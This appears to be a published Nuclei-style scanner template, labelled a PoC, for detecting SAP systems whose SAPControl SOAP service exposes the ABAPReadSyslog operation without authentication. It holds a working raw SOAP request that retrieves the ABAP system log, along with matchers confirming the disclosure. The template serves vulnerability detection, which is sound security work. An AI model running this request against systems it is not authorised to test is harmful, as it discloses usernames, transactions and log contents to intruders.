sap-abapreadsyslog-disclosure: SAPControl ABAPReadSyslog - Disclosure

2026-02-24 SAPControl ABAPReadSyslog PoC Public

Description

Detected SAP systems where the SAPControl SOAP web service exposes the ABAPReadSyslog operation without authentication. ABAPReadSyslog returns the ABAP system log (equivalent to transaction SM21) via SAPControl sapstartsrv and includes fields such as client, username, transaction code, message number, free-text message and severity.

PoC

id: sap-abapreadsyslog-disclosure

info:
  name: SAPControl ABAPReadSyslog - Disclosure
  author: LRVT,l4rm4nd
  severity: medium
  description: |
    Detected SAP systems where the SAPControl SOAP web service exposes the ABAPReadSyslog operation without authentication. ABAPReadSyslog returns the ABAP system log (equivalent to transaction SM21) via SAPControl sapstartsrv and includes fields such as client, username, transaction code, message number, free-text message and severity.
  reference:
    - https://my-handshake.blogspot.com/2011/03/sapcontrol-webmethods-list.html
    - https://gist.github.com/c6da760f57e062397e52400936ca5797
    - https://exchange.icinga.com/kai_ks/check_sap_hostctrl
  metadata:
    max-request: 1
  tags: misconfig,sap,sapcontrol,soap,log,disclosure

http:
  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: text/xml; charset=UTF-8
        SOAPAction: '""'

        <?xml version="1.0" encoding="utf-8"?>
        <SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/">
          <SOAP-ENV:Header>
            <sapsess:Session xmlns:sapsess="http://www.sap.com/webas/630/soap/features/session/">
              <enableSession>true</enableSession>
            </sapsess:Session>
          </SOAP-ENV:Header>
          <SOAP-ENV:Body>
            <ns1:ABAPReadSyslog xmlns:ns1="urn:SAPControl"></ns1:ABAPReadSyslog>
          </SOAP-ENV:Body>
        </SOAP-ENV:Envelope>

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<item>"
          - "<Time>"
          - "<Text>"
          - "ABAPReadSyslogResponse"
        condition: and

      - type: status
        status:
          - 200
# digest: 490a0046304402203f03badbd3a0e0d08f367cf8c2f8db314cfbc0aaf72c9e9804ea62dc1d590b2a0220691019a9a2cfbaa9277de44c1c18a499e39ff25f0b82c23e5bab4db6e3aeacde:922c64590222798bb761d5b6d8e72950

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